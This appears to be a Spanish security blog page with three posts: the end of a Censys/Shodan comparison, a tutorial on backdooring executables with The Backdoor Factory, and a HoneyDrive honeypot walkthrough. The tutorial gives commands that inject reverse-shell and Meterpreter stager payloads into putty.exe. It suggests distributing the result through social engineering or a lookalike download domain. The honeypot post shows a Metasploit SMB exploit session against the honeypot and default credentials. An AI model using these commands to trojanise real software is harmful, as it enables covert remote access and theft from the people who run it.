Hay que tener en cuenta que de acuerdo a la documentación la API Rest de Censys, es necesario invocar a cada uno de los endpoints con un método HTTP concreto, una serie de parámetros obligatorios y que además, muchas de las peticiones reciben datos en formato JSON, con lo cual es necesario realizar las peticiones HTTP siguiendo estás especificaciones. El script anterior es simplemente un ejemplo sobre el uso de los endpoints “/data” y “/search/certificates”. Tal como se puede apreciar, es bastante sencillo crear un cliente y obtener información de Censys utilizando su API Rest.
De todos modos, desde mi punto de vista hay dos características que hacen que Shodan sea una buena opción con respecto a Censys, considerando nuevamente que a mi juicio es recomendable utilizar ambas.
1. La API de Shodan parece estar mejor documentada y ser más completa, además de que hay clientes en diferentes lenguajes, lo que facilita su integración en cualquier herramienta, esto a la fecha de redactar este documento, no se consigue con Censys.
2- Shodan cuenta con varios filtros que permiten afinar las búsquedas y a la fecha de redactar este articulo, son mucho más completos que los que se encuentran disponibles en la interfaz de búsqueda de Censys.
En contrapartida, Censys permite el acceso a la información histórica que se ha ido recolectado y no pone limitaciones sobre los tipos de servicios que se pueden consultar, algo que si hace Shodan.
Se trata simplemente de un servicio que podéis utilizar de forma complementaria a Shodan para la recolección de información, se perfila como una excelente herramienta para ejecutar procesos OSINT y análisis de datos.
Un saludo y Happy Hack!
Adastra.
Inyección de código arbitrario en ejecutables con The Backdoor Factory
La técnica conocida como “code caving” consiste simplemente en buscar y encontrar un espacio en un fichero ejecutable que permita la inyección de rutinas externas (típicamente shellcodes). Los ficheros ejecutables están compuestos por varias secciones, cada una de las cuales tiene una estructura y funcionamiento especifico. Si por algún motivo, alguna de dichas secciones o incluso el programa entero tienen un tamaño reservado que es superior al que efectivamente utilizan, queda abierta la posibilidad de inyectar subrutinas externas en dichos espacios que están sin utilizar. No solamente es posible modificar secciones existentes, sino que también es posible crear secciones nuevas dependiendo del fichero a modificar. El “code caving” tiene varias ventajas que saltan a la vista, una de ellas es que no es necesario contar con el código fuente del programa, solamente es necesario hacer los ajustes adecuados jugando un poco con los espacios libres que se van encontrando. Por otro lado, es un proceso en el que no se afecta el funcionamiento normal del ejecutable, de hecho, uno de las principales objetivos de aplicar esta técnica es que el programa ejecute el código inyectado como una subrutina cualquiera y continúe con la ejecución de las demás funciones con normalidad. Esto quiere decir que se pueden alterar ficheros ejecutables con el objetivo de inyectar código malicioso y posteriormente, dichos programas van a funcionar del mismo modo que funcionaria el programa original, que es justamente lo que espera ver el usuario.
Este procedimiento se puede llevar a cabo manualmente, utilizando herramientas como OllyDBG, LordPE (para ficheros PE) y algunas otras que permitirán encontrar la mejor forma de inyectar un shellcode, sin embargo en esta ocasión, se hablará sobre The Backdoor Factory, una herramienta que permite automatizar el proceso descrito anteriormente y modificar ficheros ejecutables al vuelo para inyectar shellcodes.
Usando The Backdoor Factory
Se trata de una herramienta que puede instalarse de forma manual desde el código fuente que se encuentra disponible en el repositorio github en: https://github.com/secretsquirrel/the-backdoor-factory y las instrucciones para instalar el programa se encuentran ubicadas en https://github.com/secretsquirrel/the-backdoor-factory/wiki/2.-Installation. El procedimiento de instalación no es complejo y únicamente requiere que las dependencias se encuentren correctamente instaladas, concretamente “pefile” y “capstone”. No obstante, BDF se encuentra disponible en las últimas versiones de Kali Linux, si utilizas la versión 2.x de Kali Linux, ya tendrás BDF instalado en el sistema.
El uso básico de esta herramienta es bastante simple, solamente es necesario indicar el fichero ejecutable que se desea “infectar” y a continuación seleccionar el payload adecuado. Algunos de los parámetros que recibe el script principal por línea de comandos se listan a continuación:
-f / –file: Permite especificar el binario que será analizado por la herramienta y que posteriormente será “backdoorizado”.
-H / –hostip: Dirección IP utilizada para recibir las conexiones reversas iniciadas por las víctimas.
-P / –port:Puerto utilizado para recibir las conexiones reversas iniciadas por las víctimas.
-a / –add_new_section: Como su nombre lo indica, permite crear una nueva sección el fichero ejecutable, la cual incluirá el shellcode seleccionado con la opción “-s”
-s / –shell: Payloads disponibles en BDF. Si se utiliza la palabra reservada “show”, se enseñarán los payloads disponibles.
-d / –directory: En lugar de especificar un único fichero ejecutable, se puede indicar un directorio en donde se encuentran todos los binarios que BDF analizará para posteriormente “backdoorizar”.
-i / –injector: En este modo, BDF intentará verificar si el fichero original es un servicio y en tal caso, intentará detenerlo, sustituir el ejecutable por la versión generada con el shellcode inyectado y renombrar el fichero original con un sufijo, el cual por defecto es “.old”. Se trata de un modo muy útil en procesos de post-explotación.
-u / –suffix: Sufijo que será utilizado por el modo “injector” para sustituir los ficheros ejecutables originales.
Las anteriores son solamente algunas de las posibles opciones que se pueden utilizar desde BDF y como se puede ver su uso puede ser tan simple como lo siguiente:
|
./backdoor.py -H 192.168.1.237 -P 4444 -s reverse_shell_tcp_inline -f putty.exe -q |
En este caso se intenta “backdoorizar” el fichero “putty.exe”, un programa bastante popular entre los usuarios de sistemas Windows para conectarse a otros sistemas por medio de SSH, Telnet, Rlogin, etc. Se utilizará el payload “reverse_shell_tcp_inline”, un payload bastante simple que permite establecer una shell reversa desde el sistema de la víctima hacia un sistema controlado por el atacante. Con las opciones “-H” y “-P” se ha indicado la dirección IP y puerto en donde el atacante tendrá un proceso en estado de escucha, esperando las conexiones por parte de las víctimas. Dicho proceso puede ser tan simple como iniciar un “netcat” en el puerto “4444”.
Imagen 1: Generando un fichero malicioso con BDF partiendo del programa “putty”.
Después de generar el programa, lo siguiente es conseguir que el objetivo lo ejecute en su sistema y para ello, muy probablemente sea necesario emplear técnicas de ingeniería social, aunque también puede ser perfectamente valido adquirir un dominio muy similar al dominio original donde se distribuye el programa (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) cambiando, por ejemplo, algunas de las letras del dominio e incluyendo exactamente el mismo contenido de las páginas HTML del sitio legitimo. De esta forma y haciendo una “difusión” del dominio malicioso se puede llegar a un número mucho más elevado de víctimas. Como siempre, todo depende de los objetivos del atacante y su creatividad.
En el caso de que la víctima descargue el fichero malicioso y lo ejecute en su ordenador, verá que no hay ningún tipo de alarma o actividad sospechosa que le haga creer que su ordenador ha sido comprometido debido a la ejecución del programa que acaba de descargar y ejecutar, simplemente verá el programa “putty” funcionando correctamente. Aunque el usuario podrá seguir utilizando el programa como lo hace habitualmente, el atacante ahora tendrá una consola contra su sistema y todo ha sido sigiloso y sin despertar ningún tipo de alarma o sospecha.
Imagen 2: Atacante interactuando con el sistema de la víctima.
Del mismo modo que es posible establecer un shellcode simple, también se puede establecer uno “staged”, algo que viene muy bien si se quiere recibir la conexión reversa de la víctima con Metasploit Framework. Para eso, en BDF hay varios payloads, resultando especialmente interesante el “iat_reverse_tcp_stager_threaded” el cual utilizará la “Import Address Table” para construir el espacio donde se almacenará el shellcode.
|
./backdoor.py -H 192.168.1.237 -P 4444 -s iat_reverse_tcp_stager_threaded -f putty.exe -q |
Después de generar el fichero malicioso y de establecer el handler de Metasploit para aceptar conexiones por el puerto “4444”, el cliente debe ejecutar el programa y a continuación, se abrirá una nueva sesión “meterpreter” en la consola del atacante, como es habitual.
Imagen 3: Obteniendo una sesión “meterpreter” partiendo de un ejecutable generado con BDF.
Aquí solamente se ha visto el uso básico de BDF, pero los conceptos sobre los que se encuentra construida suelen ser mucho más interesantes que simplemente ejecutar un script y obtener un ejecutable malicioso. Es probable que realizar este mismo procedimiento manualmente, sin la ayuda de herramientas como BDF sea mucho más ilustrativo para comprender conceptos tan importantes como las secciones de un ejecutable y las diferentes técnicas de “code caving” que se pueden aplicar utilizando únicamente, un programa para analizar la estructura de programas del tipo PE y un editor hexadecimal. Esto se hará en un próximo artículo.
Un saludo y Happy Hack!
Adastra.
Honeypots: Agrupación y gestión de honeypots con HoneyDrive – Parte 4
Hace algunos meses comencé a hablar sobre algunos de los honeypots más interesantes que se encuentran actualmente a nuestra disposición, entre los cuales no pueden faltar Kippo y Dionaea, sin embargo hay muchos más que simulan el comportamiento de muchos de los servicios más habituales. Una buena forma de explorar algunos de los más conocidos es por medio de HoneyDrive, una distribución basada en Linux, concretamente con Xubuntu Desktop 12.04 LTS. Cuenta con más de 10 honeypots preconfigurados y listos para ser utilizados en la plataforma, entre los cuales destacan Dionaea, Kippo, Amun, Honeyd, Honeyd2MySQL, Glastopf, Conpot, entre muchos otros que se irán explicando detalladamente en esta y próximas entradas. Evidentemente, es muy ventajoso tener todo correctamente preparado y configurado para que únicamente sea cuestión de arrancar los servicios necesarios y a correr, pero siempre es aconsejado contar con un buen nivel de conocimientos sobre las tecnologías utilizadas ya que en ocasiones resulta conveniente instalar las herramientas “a mano” para entender cuáles son las posibles configuraciones que se pueden aplicar. El proyecto se encuentra ubicado en la siguiente ruta https://bruteforce.gr/honeydrive y se puede descargar la última versión disponible desde el repositorio SVN, el cual se encuentra ubicado en la siguiente ruta: http://sourceforge.net/projects/honeydrive/
Allí se encuentra disponible el servicio virtualizado (.OVA) el cual puede ser desplegado directamente en VirtualBox. Una vez descargada, instalada la imagen OVA e iniciado el sistema, en el escritorio se encuentra un fichero llamado “README” el cual incluye todos los detalles necesarios para poder utilizar todos los honeypots y herramientas que se encuentran instaladas en el sistema. Por ejemplo, es posible utilizar el honeypot Kippo tal como se ha visto en el primer artículo que se encuentra aquí: https://thehackerway.com/2015/03/24/honeypots-parte-1-kippo/
Imagen 1: Iniciando Kippo en HoneyDrive.
En este caso, Kippo se vinculará al puerto “22” y aceptará peticiones por parte de clientes/atacantes que intenten acceder al sistema. Tal como se ha visto en el artículo sobre Kippo, su configuración es muy simple y únicamente es necesario establecer las opciones adecuadas en el fichero “kippo.cfg”. En el caso de HoneyDrive, dicho fichero de configuración se encuentra ubicado en “/honeydrive/kippo” y su contenido por defecto es el siguiente:
|
[honeypot] ssh_port = 22 hostname = svr03 log_path = log download_path = dl contents_path = honeyfs filesystem_file = fs.pickle data_path = data txtcmds_path = txtcmds public_key = public.key private_key = private.key ssh_version_string = SSH-2.0-OpenSSH_5.1p1 Debian-5 interact_enabled = false interact_port = 5123 [database_mysql] host = localhost database = kippo username = root password = honeydrive port = 3306 |
Como se puede apreciar, algunas opciones de configuración vienen con los valores por defecto que trae Kippo, y otras, como el caso de la conexión a una base de datos para el registro de los eventos producidos, si que han sido personalizadas específicamente para funcionar sobre el sistema. Esta configuración puede modificarse sin ningún problema para adaptarse a las necesidades particulares de cualquiera, solamente es necesario conocer cuál es el comportamiento de de cada una de las opciones disponibles, tal como se ha visto en el primer artículo sobre honeypots y Kippo.
En HoneyDrive viene instalado PhpMyAdmin, lo que permitirá conectarse a una de las base de datos MySQL que se encuentran en el sistema y ver los eventos que se han podido registrar. En este caso concreto, interesa la base de datos “kippo”, que es en donde se almacenarán los intentos de acceso al puerto donde se encuentra en ejecución Kippo. El nombre de usuario para acceder a PhpMyAdmin es “root” y la contraseña es “honeydrive”. Una vez el usuario se autentica, tal como se puede ver en el panel de la izquierda, están todas las bases de datos que se encuentran disponibles.
Imagen 2: PhpMyAdmin en HoneyDrive.
Cuando un usuario intenta acceder al servicio de Kippo, automáticamente su intento de autenticación queda registrado en la base de datos, concretamente en la tabla “auth”, la cual almacena todos los intentos con su correspondiente nombre de usuario y contraseña, así como si el intento ha tenido éxito o no. Por otro lado, dicha tabla se encuentra relacionada con la tabla “sessions”, en donde se registran los datos básicos del usuario que ha intentado autenticarse, incluyendo su dirección IP.
Imagen 3: PhpMyAdmin en HoneyDrive.
En otras dos entradas se ha hablado de Dionaea, un honeypot enfocado a la detección y análisis de malware y en el caso de HoneyDrive también se encuentra preconfigurado y listo para ser utilizado. Los detalles se encuentran incluidos en el fichero README y son los que se listan a continuación.
|
[Dionaea] Location: /opt/dionaea/ Start script: /honeydrive/dionaea-vagrant/runDionaea.sh Binary: /opt/dionaea/bin/dionaea Configuration: /opt/dionaea/etc/dionaea/dionaea.conf Logs: /opt/dionaea/var/log/ SQLite database: /opt/dionaea/var/dionaea/logsql.sqlite Malware samples: /opt/dionaea/var/dionaea/binaries/ Log rotation: enabled phpLiteAdmin: /var/www/phpliteadmin/ + password: honeydrive + allow only localhost: enabled |
Con la configuración por defecto se puede arrancar Dionaea sin ninguna dificultad, simplemente ejecutando el script “/honeydrive/dionaea-vagrant/runDionaea.sh”. Este script se puede modificar con el fin de personalizar el comando de ejecución y remover o incluir otros parámetros que admite el programa “dionaea”.
Imagen 4: Dionaea en HoneyDrive.
A continuación se puede utilizar Metasploit Framework para comprobar su funcionamiento. Esto mismo se ha visto en una entrada anterior de esta misma serie de artículos: https://thehackerway.com/2015/04/14/honeypots-parte-3-configuracion-y-analisis-de-malware-con-dionaea/
|
msf > use exploit/windows/smb/ms06_040_netapi msf exploit(ms06_040_netapi) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp msf exploit(ms06_040_netapi) > set RHOST 192.168.1.42 RHOST => 192.168.1.42 msf exploit(ms06_040_netapi) > exploit [*] Started bind handler [*] Detected a Windows XP SP0/SP1 target |
En el fichero de logs de Dionaea se puede apreciar lo siguiente:
Imagen 5: Logs de Dionaea.
Tal como se ha visto en una entrada anterior, Dionaea también es capaz de detectar y almacenar muestras de malware que envíe un atacante, algo especialmente útil si se desea analizarlas después con Cuckoo Framework o cualquier otra herramienta.
Aquí se ha visto un ejemplo muy simple del uso de Kippo y Dionaea en Honey Drive, sin embargo existen muchos más honeypots y herramientas que se encuentran incluidos en esta interesante distribución y que se irán viendo con mucho más detalle en próximos artículos.
Un saludo y Happy Hack!
Adastra.
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
adastra
